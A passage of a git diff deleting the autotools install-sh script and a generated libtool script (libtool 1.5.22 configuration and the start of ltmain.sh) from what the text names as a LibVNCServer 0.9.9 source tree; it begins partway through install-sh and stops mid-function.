-# Permission is hereby granted, free of charge, to any person obtaining a copy
-# of this software and associated documentation files (the "Software"), to
-# deal in the Software without restriction, including without limitation the
-# rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
-# sell copies of the Software, and to permit persons to whom the Software is
-# furnished to do so, subject to the following conditions:
-#
-# The above copyright notice and this permission notice shall be included in
-# all copies or substantial portions of the Software.
-#
-# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-# X CONSORTIUM BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN
-# AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNEC-
-# TION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
-#
-# Except as contained in this notice, the name of the X Consortium shall not
-# be used in advertising or otherwise to promote the sale, use or other deal-
-# ings in this Software without prior written authorization from the X Consor-
-# tium.
-#
-#
-# FSF changes to this file are in the public domain.
-#
-# Calling this script install-sh is preferred over install.sh, to prevent
-# `make' implicit rules from creating a file called install from it
-# when there is no Makefile.
-#
-# This script is compatible with the BSD install script, but was written
-# from scratch.
-
-nl='
-'
-IFS=" "" $nl"
-
-# set DOITPROG to echo to test this script
-
-# Don't use :- since 4.3BSD and earlier shells don't like it.
-doit=${DOITPROG-}
-if test -z "$doit"; then
- doit_exec=exec
-else
- doit_exec=$doit
-fi
-
-# Put in absolute file names if you don't have them in your path;
-# or use environment vars.
-
-chgrpprog=${CHGRPPROG-chgrp}
-chmodprog=${CHMODPROG-chmod}
-chownprog=${CHOWNPROG-chown}
-cmpprog=${CMPPROG-cmp}
-cpprog=${CPPROG-cp}
-mkdirprog=${MKDIRPROG-mkdir}
-mvprog=${MVPROG-mv}
-rmprog=${RMPROG-rm}
-stripprog=${STRIPPROG-strip}
-
-posix_glob='?'
-initialize_posix_glob='
- test "$posix_glob" != "?" || {
- if (set -f) 2>/dev/null; then
- posix_glob=
- else
- posix_glob=:
- fi
- }
-'
-
-posix_mkdir=
-
-# Desired mode of installed file.
-mode=0755
-
-chgrpcmd=
-chmodcmd=$chmodprog
-chowncmd=
-mvcmd=$mvprog
-rmcmd="$rmprog -f"
-stripcmd=
-
-src=
-dst=
-dir_arg=
-dst_arg=
-
-copy_on_change=false
-no_target_directory=
-
-usage="\
-Usage: $0 [OPTION]... [-T] SRCFILE DSTFILE
- or: $0 [OPTION]... SRCFILES... DIRECTORY
- or: $0 [OPTION]... -t DIRECTORY SRCFILES...
- or: $0 [OPTION]... -d DIRECTORIES...
-
-In the 1st form, copy SRCFILE to DSTFILE.
-In the 2nd and 3rd, copy all SRCFILES to DIRECTORY.
-In the 4th, create DIRECTORIES.
-
-Options:
- --help display this help and exit.
- --version display version info and exit.
-
- -c (ignored)
- -C install only if different (preserve the last data modification time)
- -d create directories instead of installing files.
- -g GROUP $chgrpprog installed files to GROUP.
- -m MODE $chmodprog installed files to MODE.
- -o USER $chownprog installed files to USER.
- -s $stripprog installed files.
- -t DIRECTORY install into DIRECTORY.
- -T report an error if DSTFILE is a directory.
-
-Environment variables override the default commands:
- CHGRPPROG CHMODPROG CHOWNPROG CMPPROG CPPROG MKDIRPROG MVPROG
- RMPROG STRIPPROG
-"
-
-while test $# -ne 0; do
- case $1 in
- -c) ;;
-
- -C) copy_on_change=true;;
-
- -d) dir_arg=true;;
-
- -g) chgrpcmd="$chgrpprog $2"
- shift;;
-
- --help) echo "$usage"; exit $?;;
-
- -m) mode=$2
- case $mode in
- *' '* | *' '* | *'
-'* | *'*'* | *'?'* | *'['*)
- echo "$0: invalid mode: $mode" >&2
- exit 1;;
- esac
- shift;;
-
- -o) chowncmd="$chownprog $2"
- shift;;
-
- -s) stripcmd=$stripprog;;
-
- -t) dst_arg=$2
- # Protect names problematic for `test' and other utilities.
- case $dst_arg in
- -* | [=\(\)!]) dst_arg=./$dst_arg;;
- esac
- shift;;
-
- -T) no_target_directory=true;;
-
- --version) echo "$0 $scriptversion"; exit $?;;
-
- --) shift
- break;;
-
- -*) echo "$0: invalid option: $1" >&2
- exit 1;;
-
- *) break;;
- esac
- shift
-done
-
-if test $# -ne 0 && test -z "$dir_arg$dst_arg"; then
- # When -d is used, all remaining arguments are directories to create.
- # When -t is used, the destination is already specified.
- # Otherwise, the last argument is the destination. Remove it from $@.
- for arg
- do
- if test -n "$dst_arg"; then
- # $@ is not empty: it contains at least $arg.
- set fnord "$@" "$dst_arg"
- shift # fnord
- fi
- shift # arg
- dst_arg=$arg
- # Protect names problematic for `test' and other utilities.
- case $dst_arg in
- -* | [=\(\)!]) dst_arg=./$dst_arg;;
- esac
- done
-fi
-
-if test $# -eq 0; then
- if test -z "$dir_arg"; then
- echo "$0: no input file specified." >&2
- exit 1
- fi
- # It's OK to call `install-sh -d' without argument.
- # This can happen when creating conditional directories.
- exit 0
-fi
-
-if test -z "$dir_arg"; then
- do_exit='(exit $ret); exit $ret'
- trap "ret=129; $do_exit" 1
- trap "ret=130; $do_exit" 2
- trap "ret=141; $do_exit" 13
- trap "ret=143; $do_exit" 15
-
- # Set umask so as not to create temps with too-generous modes.
- # However, 'strip' requires both read and write access to temps.
- case $mode in
- # Optimize common cases.
- *644) cp_umask=133;;
- *755) cp_umask=22;;
-
- *[0-7])
- if test -z "$stripcmd"; then
- u_plus_rw=
- else
- u_plus_rw='% 200'
- fi
- cp_umask=`expr '(' 777 - $mode % 1000 ')' $u_plus_rw`;;
- *)
- if test -z "$stripcmd"; then
- u_plus_rw=
- else
- u_plus_rw=,u+rw
- fi
- cp_umask=$mode$u_plus_rw;;
- esac
-fi
-
-for src
-do
- # Protect names problematic for `test' and other utilities.
- case $src in
- -* | [=\(\)!]) src=./$src;;
- esac
-
- if test -n "$dir_arg"; then
- dst=$src
- dstdir=$dst
- test -d "$dstdir"
- dstdir_status=$?
- else
-
- # Waiting for this to be detected by the "$cpprog $src $dsttmp" command
- # might cause directories to be created, which would be especially bad
- # if $src (and thus $dsttmp) contains '*'.
- if test ! -f "$src" && test ! -d "$src"; then
- echo "$0: $src does not exist." >&2
- exit 1
- fi
-
- if test -z "$dst_arg"; then
- echo "$0: no destination specified." >&2
- exit 1
- fi
- dst=$dst_arg
-
- # If destination is a directory, append the input filename; won't work
- # if double slashes aren't ignored.
- if test -d "$dst"; then
- if test -n "$no_target_directory"; then
- echo "$0: $dst_arg: Is a directory" >&2
- exit 1
- fi
- dstdir=$dst
- dst=$dstdir/`basename "$src"`
- dstdir_status=0
- else
- # Prefer dirname, but fall back on a substitute if dirname fails.
- dstdir=`
- (dirname "$dst") 2>/dev/null ||
- expr X"$dst" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \
- X"$dst" : 'X\(//\)[^/]' \| \
- X"$dst" : 'X\(//\)$' \| \
- X"$dst" : 'X\(/\)' \| . 2>/dev/null ||
- echo X"$dst" |
- sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{
- s//\1/
- q
- }
- /^X\(\/\/\)[^/].*/{
- s//\1/
- q
- }
- /^X\(\/\/\)$/{
- s//\1/
- q
- }
- /^X\(\/\).*/{
- s//\1/
- q
- }
- s/.*/./; q'
- `
-
- test -d "$dstdir"
- dstdir_status=$?
- fi
- fi
-
- obsolete_mkdir_used=false
-
- if test $dstdir_status != 0; then
- case $posix_mkdir in
- '')
- # Create intermediate dirs using mode 755 as modified by the umask.
- # This is like FreeBSD 'install' as of 1997-10-28.
- umask=`umask`
- case $stripcmd.$umask in
- # Optimize common cases.
- *[2367][2367]) mkdir_umask=$umask;;
- .*0[02][02] | .[02][02] | .[02]) mkdir_umask=22;;
-
- *[0-7])
- mkdir_umask=`expr $umask + 22 \
- - $umask % 100 % 40 + $umask % 20 \
- - $umask % 10 % 4 + $umask % 2
- `;;
- *) mkdir_umask=$umask,go-w;;
- esac
-
- # With -d, create the new directory with the user-specified mode.
- # Otherwise, rely on $mkdir_umask.
- if test -n "$dir_arg"; then
- mkdir_mode=-m$mode
- else
- mkdir_mode=
- fi
-
- posix_mkdir=false
- case $umask in
- *[123567][0-7][0-7])
- # POSIX mkdir -p sets u+wx bits regardless of umask, which
- # is incompatible with FreeBSD 'install' when (umask & 300) != 0.
- ;;
- *)
- tmpdir=${TMPDIR-/tmp}/ins$RANDOM-$$
- trap 'ret=$?; rmdir "$tmpdir/d" "$tmpdir" 2>/dev/null; exit $ret' 0
-
- if (umask $mkdir_umask &&
- exec $mkdirprog $mkdir_mode -p -- "$tmpdir/d") >/dev/null 2>&1
- then
- if test -z "$dir_arg" || {
- # Check for POSIX incompatibilities with -m.
- # HP-UX 11.23 and IRIX 6.5 mkdir -m -p sets group- or
- # other-writeable bit of parent directory when it shouldn't.
- # FreeBSD 6.1 mkdir -m -p sets mode of existing directory.
- ls_ld_tmpdir=`ls -ld "$tmpdir"`
- case $ls_ld_tmpdir in
- d????-?r-*) different_mode=700;;
- d????-?--*) different_mode=755;;
- *) false;;
- esac &&
- $mkdirprog -m$different_mode -p -- "$tmpdir" && {
- ls_ld_tmpdir_1=`ls -ld "$tmpdir"`
- test "$ls_ld_tmpdir" = "$ls_ld_tmpdir_1"
- }
- }
- then posix_mkdir=:
- fi
- rmdir "$tmpdir/d" "$tmpdir"
- else
- # Remove any dirs left behind by ancient mkdir implementations.
- rmdir ./$mkdir_mode ./-p ./-- 2>/dev/null
- fi
- trap '' 0;;
- esac;;
- esac
-
- if
- $posix_mkdir && (
- umask $mkdir_umask &&
- $doit_exec $mkdirprog $mkdir_mode -p -- "$dstdir"
- )
- then :
- else
-
- # The umask is ridiculous, or mkdir does not conform to POSIX,
- # or it failed possibly due to a race condition. Create the
- # directory the slow way, step by step, checking for races as we go.
-
- case $dstdir in
- /*) prefix='/';;
- [-=\(\)!]*) prefix='./';;
- *) prefix='';;
- esac
-
- eval "$initialize_posix_glob"
-
- oIFS=$IFS
- IFS=/
- $posix_glob set -f
- set fnord $dstdir
- shift
- $posix_glob set +f
- IFS=$oIFS
-
- prefixes=
-
- for d
- do
- test X"$d" = X && continue
-
- prefix=$prefix$d
- if test -d "$prefix"; then
- prefixes=
- else
- if $posix_mkdir; then
- (umask=$mkdir_umask &&
- $doit_exec $mkdirprog $mkdir_mode -p -- "$dstdir") && break
- # Don't fail if two instances are running concurrently.
- test -d "$prefix" || exit 1
- else
- case $prefix in
- *\'*) qprefix=`echo "$prefix" | sed "s/'/'\\\\\\\\''/g"`;;
- *) qprefix=$prefix;;
- esac
- prefixes="$prefixes '$qprefix'"
- fi
- fi
- prefix=$prefix/
- done
-
- if test -n "$prefixes"; then
- # Don't fail if two instances are running concurrently.
- (umask $mkdir_umask &&
- eval "\$doit_exec \$mkdirprog $prefixes") ||
- test -d "$dstdir" || exit 1
- obsolete_mkdir_used=true
- fi
- fi
- fi
-
- if test -n "$dir_arg"; then
- { test -z "$chowncmd" || $doit $chowncmd "$dst"; } &&
- { test -z "$chgrpcmd" || $doit $chgrpcmd "$dst"; } &&
- { test "$obsolete_mkdir_used$chowncmd$chgrpcmd" = false ||
- test -z "$chmodcmd" || $doit $chmodcmd $mode "$dst"; } || exit 1
- else
-
- # Make a couple of temp file names in the proper directory.
- dsttmp=$dstdir/_inst.$$_
- rmtmp=$dstdir/_rm.$$_
-
- # Trap to clean up those temp files at exit.
- trap 'ret=$?; rm -f "$dsttmp" "$rmtmp" && exit $ret' 0
-
- # Copy the file name to the temp name.
- (umask $cp_umask && $doit_exec $cpprog "$src" "$dsttmp") &&
-
- # and set any options; do chmod last to preserve setuid bits.
- #
- # If any of these fail, we abort the whole thing. If we want to
- # ignore errors from any of these, just make sure not to ignore
- # errors from the above "$doit $cpprog $src $dsttmp" command.
- #
- { test -z "$chowncmd" || $doit $chowncmd "$dsttmp"; } &&
- { test -z "$chgrpcmd" || $doit $chgrpcmd "$dsttmp"; } &&
- { test -z "$stripcmd" || $doit $stripcmd "$dsttmp"; } &&
- { test -z "$chmodcmd" || $doit $chmodcmd $mode "$dsttmp"; } &&
-
- # If -C, don't bother to copy if it wouldn't change the file.
- if $copy_on_change &&
- old=`LC_ALL=C ls -dlL "$dst" 2>/dev/null` &&
- new=`LC_ALL=C ls -dlL "$dsttmp" 2>/dev/null` &&
-
- eval "$initialize_posix_glob" &&
- $posix_glob set -f &&
- set X $old && old=:$2:$4:$5:$6 &&
- set X $new && new=:$2:$4:$5:$6 &&
- $posix_glob set +f &&
-
- test "$old" = "$new" &&
- $cmpprog "$dst" "$dsttmp" >/dev/null 2>&1
- then
- rm -f "$dsttmp"
- else
- # Rename the file to the real destination.
- $doit $mvcmd -f "$dsttmp" "$dst" 2>/dev/null ||
-
- # The rename failed, perhaps because mv can't rename something else
- # to itself, or perhaps because mv is so ancient that it does not
- # support -f.
- {
- # Now remove or move aside any old file at destination location.
- # We try this two ways since rm can't unlink itself on some
- # systems and the destination file might be busy for other
- # reasons. In this case, the final cleanup might fail but the new
- # file should still install successfully.
- {
- test ! -f "$dst" ||
- $doit $rmcmd -f "$dst" 2>/dev/null ||
- { $doit $mvcmd -f "$dst" "$rmtmp" 2>/dev/null &&
- { $doit $rmcmd -f "$rmtmp" 2>/dev/null; :; }
- } ||
- { echo "$0: cannot unlink or rename $dst" >&2
- (exit 1); exit 1
- }
- } &&
-
- # Now rename the file to the real destination.
- $doit $mvcmd "$dsttmp" "$dst"
- }
- fi || exit 1
-
- trap '' 0
- fi
-done
-
-# Local variables:
-# eval: (add-hook 'write-file-hooks 'time-stamp)
-# time-stamp-start: "scriptversion="
-# time-stamp-format: "%:y-%02m-%02d.%02H"
-# time-stamp-time-zone: "UTC"
-# time-stamp-end: "; # UTC"
-# End:
diff --git a/libtool b/libtool
deleted file mode 100755
index a193011..0000000
--- a/libtool
+++ /dev/null
@@ -1,7520 +0,0 @@
-#! /bin/bash
-
-# libtoolT - Provide generalized library-building support services.
-# Generated automatically by (GNU LibVNCServer 0.9.9)
-# NOTE: Changes made to this file will be lost: look at ltmain.sh.
-#
-# Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001
-# Free Software Foundation, Inc.
-#
-# This file is part of GNU Libtool:
-# Originally by Gordon Matzigkeit <gord@gnu.ai.mit.edu>, 1996
-#
-# This program is free software; you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation; either version 2 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful, but
-# WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-# General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
-#
-# As a special exception to the GNU General Public License, if you
-# distribute this file as part of a program that contains a
-# configuration script generated by Autoconf, you may include it under
-# the same distribution terms that you use for the rest of that program.
-
-# A sed program that does not truncate output.
-SED="/bin/sed"
-
-# Sed that helps us avoid accidentally triggering echo(1) options like -n.
-Xsed="/bin/sed -e 1s/^X//"
-
-# The HP-UX ksh and POSIX shell print the target directory to stdout
-# if CDPATH is set.
-(unset CDPATH) >/dev/null 2>&1 && unset CDPATH
-
-# The names of the tagged configurations supported by this script.
-available_tags=" CXX"
-
-# ### BEGIN LIBTOOL CONFIG
-
-# Libtool was configured on host android-dev:
-
-# Shell to use when invoking shell scripts.
-SHELL="/bin/bash"
-
-# Whether or not to build shared libraries.
-build_libtool_libs=yes
-
-# Whether or not to build static libraries.
-build_old_libs=yes
-
-# Whether or not to add -lc for building shared libraries.
-build_libtool_need_lc=no
-
-# Whether or not to disallow shared libs when runtime libs are static
-allow_libtool_libs_with_static_runtimes=no
-
-# Whether or not to optimize for fast installation.
-fast_install=yes
-
-# The host system.
-host_alias=
-host=x86_64-unknown-linux-gnu
-host_os=linux-gnu
-
-# The build system.
-build_alias=
-build=x86_64-unknown-linux-gnu
-build_os=linux-gnu
-
-# An echo program that does not interpret backslashes.
-echo="echo"
-
-# The archiver.
-AR="ar"
-AR_FLAGS="cru"
-
-# A C compiler.
-LTCC="gcc"
-
-# LTCC compiler flags.
-LTCFLAGS="-g -O2 -Wall"
-
-# A language-specific compiler.
-CC="gcc"
-
-# Is the compiler the GNU C compiler?
-with_gcc=yes
-
-# An ERE matcher.
-EGREP="/bin/grep -E"
-
-# The linker used to build libraries.
-LD="/usr/bin/ld -m elf_x86_64"
-
-# Whether we need hard or soft links.
-LN_S="ln -s"
-
-# A BSD-compatible nm program.
-NM="/usr/bin/nm -B"
-
-# A symbol stripping program
-STRIP="strip"
-
-# Used to examine libraries when file_magic_cmd begins "file"
-MAGIC_CMD=file
-
-# Used on cygwin: DLL creation program.
-DLLTOOL="dlltool"
-
-# Used on cygwin: object dumper.
-OBJDUMP="objdump"
-
-# Used on cygwin: assembler.
-AS="as"
-
-# The name of the directory that contains temporary libtool files.
-objdir=.libs
-
-# How to create reloadable object files.
-reload_flag=" -r"
-reload_cmds="\$LD\$reload_flag -o \$output\$reload_objs"
-
-# How to pass a linker flag through the compiler.
-wl="-Wl,"
-
-# Object file suffix (normally "o").
-objext="o"
-
-# Old archive suffix (normally "a").
-libext="a"
-
-# Shared library suffix (normally ".so").
-shrext_cmds='.so'
-
-# Executable file suffix (normally "").
-exeext=""
-
-# Additional compiler flags for building library objects.
-pic_flag=" -fPIC -DPIC"
-pic_mode=default
-
-# What is the maximum length of a command?
-max_cmd_len=32768
-
-# Does compiler simultaneously support -c and -o options?
-compiler_c_o="yes"
-
-# Must we lock files when doing compilation?
-need_locks="no"
-
-# Do we need the lib prefix for modules?
-need_lib_prefix=no
-
-# Do we need a version for libraries?
-need_version=no
-
-# Whether dlopen is supported.
-dlopen_support=unknown
-
-# Whether dlopen of programs is supported.
-dlopen_self=unknown
-
-# Whether dlopen of statically linked programs is supported.
-dlopen_self_static=unknown
-
-# Compiler flag to prevent dynamic linking.
-link_static_flag="-static"
-
-# Compiler flag to turn off builtin functions.
-no_builtin_flag=" -fno-builtin"
-
-# Compiler flag to allow reflexive dlopens.
-export_dynamic_flag_spec="\${wl}--export-dynamic"
-
-# Compiler flag to generate shared objects directly from archives.
-whole_archive_flag_spec="\${wl}--whole-archive\$convenience \${wl}--no-whole-archive"
-
-# Compiler flag to generate thread-safe objects.
-thread_safe_flag_spec=""
-
-# Library versioning type.
-version_type=linux
-
-# Format of library name prefix.
-libname_spec="lib\$name"
-
-# List of archive names. First name is the real one, the rest are links.
-# The last name is the one that the linker finds with -lNAME.
-library_names_spec="\${libname}\${release}\${shared_ext}\$versuffix \${libname}\${release}\${shared_ext}\$major \$libname\${shared_ext}"
-
-# The coded name of the library, if different from the real name.
-soname_spec="\${libname}\${release}\${shared_ext}\$major"
-
-# Commands used to build and install an old-style archive.
-RANLIB="ranlib"
-old_archive_cmds="\$AR \$AR_FLAGS \$oldlib\$oldobjs\$old_deplibs~\$RANLIB \$oldlib"
-old_postinstall_cmds="chmod 644 \$oldlib~\$RANLIB \$oldlib"
-old_postuninstall_cmds=""
-
-# Create an old-style archive from a shared archive.
-old_archive_from_new_cmds=""
-
-# Create a temporary old-style archive to link instead of a shared archive.
-old_archive_from_expsyms_cmds=""
-
-# Commands used to build and install a shared archive.
-archive_cmds="\$CC -shared \$libobjs \$deplibs \$compiler_flags \${wl}-soname \$wl\$soname -o \$lib"
-archive_expsym_cmds="\$echo \\\"{ global:\\\" > \$output_objdir/\$libname.ver~
- cat \$export_symbols | sed -e \\\"s/\\\\(.*\\\\)/\\\\1;/\\\" >> \$output_objdir/\$libname.ver~
- \$echo \\\"local: *; };\\\" >> \$output_objdir/\$libname.ver~
- \$CC -shared \$libobjs \$deplibs \$compiler_flags \${wl}-soname \$wl\$soname \${wl}-version-script \${wl}\$output_objdir/\$libname.ver -o \$lib"
-postinstall_cmds=""
-postuninstall_cmds=""
-
-# Commands used to build a loadable module (assumed same as above if empty)
-module_cmds=""
-module_expsym_cmds=""
-
-# Commands to strip libraries.
-old_striplib="strip --strip-debug"
-striplib="strip --strip-unneeded"
-
-# Dependencies to place before the objects being linked to create a
-# shared library.
-predep_objects=""
-
-# Dependencies to place after the objects being linked to create a
-# shared library.
-postdep_objects=""
-
-# Dependencies to place before the objects being linked to create a
-# shared library.
-predeps=""
-
-# Dependencies to place after the objects being linked to create a
-# shared library.
-postdeps=""
-
-# The library search path used internally by the compiler when linking
-# a shared library.
-compiler_lib_search_path=""
-
-# Method to check whether dependent libraries are shared objects.
-deplibs_check_method="pass_all"
-
-# Command to use when deplibs_check_method == file_magic.
-file_magic_cmd="\$MAGIC_CMD"
-
-# Flag that allows shared libraries with undefined symbols to be built.
-allow_undefined_flag=""
-
-# Flag that forces no undefined symbols.
-no_undefined_flag=""
-
-# Commands used to finish a libtool library installation in a directory.
-finish_cmds="PATH=\\\"\\\$PATH:/sbin\\\" ldconfig -n \$libdir"
-
-# Same as above, but a single script fragment to be evaled but not shown.
-finish_eval=""
-
-# Take the output of nm and produce a listing of raw symbols and C names.
-global_symbol_pipe="sed -n -e 's/^.*[ ]\\([ABCDGIRSTW][ABCDGIRSTW]*\\)[ ][ ]*\\([_A-Za-z][_A-Za-z0-9]*\\)\$/\\1 \\2 \\2/p'"
-
-# Transform the output of nm in a proper C declaration
-global_symbol_to_cdecl="sed -n -e 's/^. .* \\(.*\\)\$/extern int \\1;/p'"
-
-# Transform the output of nm in a C name address pair
-global_symbol_to_c_name_address="sed -n -e 's/^: \\([^ ]*\\) \$/ {\\\"\\1\\\", (lt_ptr) 0},/p' -e 's/^[BCDEGRST] \\([^ ]*\\) \\([^ ]*\\)\$/ {\"\\2\", (lt_ptr) \\&\\2},/p'"
-
-# This is the shared library runtime path variable.
-runpath_var=LD_RUN_PATH
-
-# This is the shared library path variable.
-shlibpath_var=LD_LIBRARY_PATH
-
-# Is shlibpath searched before the hard-coded library search path?
-shlibpath_overrides_runpath=no
-
-# How to hardcode a shared library path into an executable.
-hardcode_action=immediate
-
-# Whether we should hardcode library paths into libraries.
-hardcode_into_libs=yes
-
-# Flag to hardcode $libdir into a binary during linking.
-# This must work even if $libdir does not exist.
-hardcode_libdir_flag_spec="\${wl}--rpath \${wl}\$libdir"
-
-# If ld is used when linking, flag to hardcode $libdir into
-# a binary during linking. This must work even if $libdir does
-# not exist.
-hardcode_libdir_flag_spec_ld=""
-
-# Whether we need a single -rpath flag with a separated argument.
-hardcode_libdir_separator=""
-
-# Set to yes if using DIR/libNAME during linking hardcodes DIR into the
-# resulting binary.
-hardcode_direct=no
-
-# Set to yes if using the -LDIR flag during linking hardcodes DIR into the
-# resulting binary.
-hardcode_minus_L=no
-
-# Set to yes if using SHLIBPATH_VAR=DIR during linking hardcodes DIR into
-# the resulting binary.
-hardcode_shlibpath_var=unsupported
-
-# Set to yes if building a shared library automatically hardcodes DIR into the library
-# and all subsequent libraries and executables linked against it.
-hardcode_automatic=no
-
-# Variables whose values should be saved in libtool wrapper scripts and
-# restored at relink time.
-variables_saved_for_relink="PATH LD_LIBRARY_PATH LD_RUN_PATH GCC_EXEC_PREFIX COMPILER_PATH LIBRARY_PATH"
-
-# Whether libtool must link a program against all its dependency libraries.
-link_all_deplibs=unknown
-
-# Compile-time system search path for libraries
-sys_lib_search_path_spec=" /usr/lib/gcc/x86_64-linux-gnu/4.7/ /usr/lib/gcc/x86_64-linux-gnu/4.7/../../../../x86_64-linux-gnu/lib/x86_64-linux-gnu/4.7/ /usr/lib/gcc/x86_64-linux-gnu/4.7/../../../../x86_64-linux-gnu/lib/x86_64-linux-gnu/ /usr/lib/gcc/x86_64-linux-gnu/4.7/../../../../x86_64-linux-gnu/lib/../lib/ /usr/lib/gcc/x86_64-linux-gnu/4.7/../../../x86_64-linux-gnu/4.7/ /usr/lib/gcc/x86_64-linux-gnu/4.7/../../../x86_64-linux-gnu/ /usr/lib/gcc/x86_64-linux-gnu/4.7/../../../../lib/ /lib/x86_64-linux-gnu/4.7/ /lib/x86_64-linux-gnu/ /lib/../lib/ /usr/lib/x86_64-linux-gnu/4.7/ /usr/lib/x86_64-linux-gnu/ /usr/lib/../lib/ /usr/lib/gcc/x86_64-linux-gnu/4.7/../../../../x86_64-linux-gnu/lib/ /usr/lib/gcc/x86_64-linux-gnu/4.7/../../../ /lib/ /usr/lib/"
-
-# Run-time system search path for libraries
-sys_lib_dlsearch_path_spec="/lib /usr/lib /usr/local/lib /lib/x86_64-linux-gnu /usr/lib/x86_64-linux-gnu /lib32 /usr/lib32 "
-
-# Fix the shell variable $srcfile for the compiler.
-fix_srcfile_path=""
-
-# Set to yes if exported symbols are required.
-always_export_symbols=no
-
-# The commands to list exported symbols.
-export_symbols_cmds="\$NM \$libobjs \$convenience | \$global_symbol_pipe | \$SED 's/.* //' | sort | uniq > \$export_symbols"
-
-# The commands to extract the exported symbol list from a shared archive.
-extract_expsyms_cmds=""
-
-# Symbols that should not be listed in the preloaded symbols.
-exclude_expsyms="_GLOBAL_OFFSET_TABLE_"
-
-# Symbols that must always be exported.
-include_expsyms=""
-
-# ### END LIBTOOL CONFIG
-
-# ltmain.sh - Provide generalized library-building support services.
-# NOTE: Changing this file will not affect anything until you rerun configure.
-#
-# Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2003, 2004, 2005
-# Free Software Foundation, Inc.
-# Originally by Gordon Matzigkeit <gord@gnu.ai.mit.edu>, 1996
-#
-# This program is free software; you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation; either version 2 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful, but
-# WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-# General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
-#
-# As a special exception to the GNU General Public License, if you
-# distribute this file as part of a program that contains a
-# configuration script generated by Autoconf, you may include it under
-# the same distribution terms that you use for the rest of that program.
-
-basename="s,^.*/,,g"
-
-# Work around backward compatibility issue on IRIX 6.5. On IRIX 6.4+, sh
-# is ksh but when the shell is invoked as "sh" and the current value of
-# the _XPG environment variable is not equal to 1 (one), the special
-# positional parameter $0, within a function call, is the name of the
-# function.
-progpath="$0"
-
-# The name of this program:
-progname=`echo "$progpath" | $SED $basename`
-modename="$progname"
-
-# Global variables:
-EXIT_SUCCESS=0
-EXIT_FAILURE=1
-
-PROGRAM=ltmain.sh
-PACKAGE=libtool
-VERSION=1.5.22
-TIMESTAMP=" (1.1220.2.365 2005/12/18 22:14:06)"
-
-# See if we are running on zsh, and set the options which allow our
-# commands through without removal of \ escapes.
-if test -n "${ZSH_VERSION+set}" ; then
- setopt NO_GLOB_SUBST
-fi
-
-# Check that we have a working $echo.
-if test "X$1" = X--no-reexec; then
- # Discard the --no-reexec flag, and continue.
- shift
-elif test "X$1" = X--fallback-echo; then
- # Avoid inline document here, it may be left over
- :
-elif test "X`($echo '\t') 2>/dev/null`" = 'X\t'; then
- # Yippee, $echo works!
- :
-else
- # Restart under the correct shell, and then maybe $echo will work.
- exec $SHELL "$progpath" --no-reexec ${1+"$@"}
-fi
-
-if test "X$1" = X--fallback-echo; then
- # used as fallback echo
- shift
- cat <<EOF
-$*
-EOF
- exit $EXIT_SUCCESS
-fi
-
-default_mode=
-help="Try \`$progname --help' for more information."
-magic="%%%MAGIC variable%%%"
-mkdir="mkdir"
-mv="mv -f"
-rm="rm -f"
-
-# Sed substitution that helps us do robust quoting. It backslashifies
-# metacharacters that are still active within double-quoted strings.
-Xsed="${SED}"' -e 1s/^X//'
-sed_quote_subst='s/\([\\`\\"$\\\\]\)/\\\1/g'
-# test EBCDIC or ASCII
-case `echo X|tr X '\101'` in
- A) # ASCII based system
- # \n is not interpreted correctly by Solaris 8 /usr/ucb/tr
- SP2NL='tr \040 \012'
- NL2SP='tr \015\012 \040\040'
- ;;
- *) # EBCDIC based system
- SP2NL='tr \100 \n'
- NL2SP='tr \r\n \100\100'
- ;;
-esac
-
-# NLS nuisances.
-# Only set LANG and LC_ALL to C if already set.
-# These must not be set unconditionally because not all systems understand
-# e.g. LANG=C (notably SCO).
-# We save the old values to restore during execute mode.
-if test "${LC_ALL+set}" = set; then
- save_LC_ALL="$LC_ALL"; LC_ALL=C; export LC_ALL
-fi
-if test "${LANG+set}" = set; then
- save_LANG="$LANG"; LANG=C; export LANG
-fi
-
-# Make sure IFS has a sensible default
-lt_nl='
-'
-IFS=" $lt_nl"
-
-if test "$build_libtool_libs" != yes && test "$build_old_libs" != yes; then
- $echo "$modename: not configured to build any kind of library" 1>&2
- $echo "Fatal configuration error. See the $PACKAGE docs for more information." 1>&2
- exit $EXIT_FAILURE
-fi
-
-# Global variables.
-mode=$default_mode
-nonopt=
-prev=
-prevopt=
-run=
-show="$echo"
-show_help=
-execute_dlfiles=
-duplicate_deps=no
-preserve_args=
-lo2o="s/\\.lo\$/.${objext}/"
-o2lo="s/\\.${objext}\$/.lo/"
-
-#####################################
-# Shell function definitions:
-# This seems to be the best place for them
-
-# func_mktempdir [string]
-# Make a temporary directory that won't clash with other running
-# libtool processes, and avoids race conditions if possible. If
-# given, STRING is the basename for that directory.
-func_mktempdir ()
-{
- my_template="${TMPDIR-/tmp}/${1-$progname}"
-
- if test "$run" = ":"; then
- # Return a directory name, but don't create it in dry-run mode
- my_tmpdir="${my_template}-$$"
- else
-
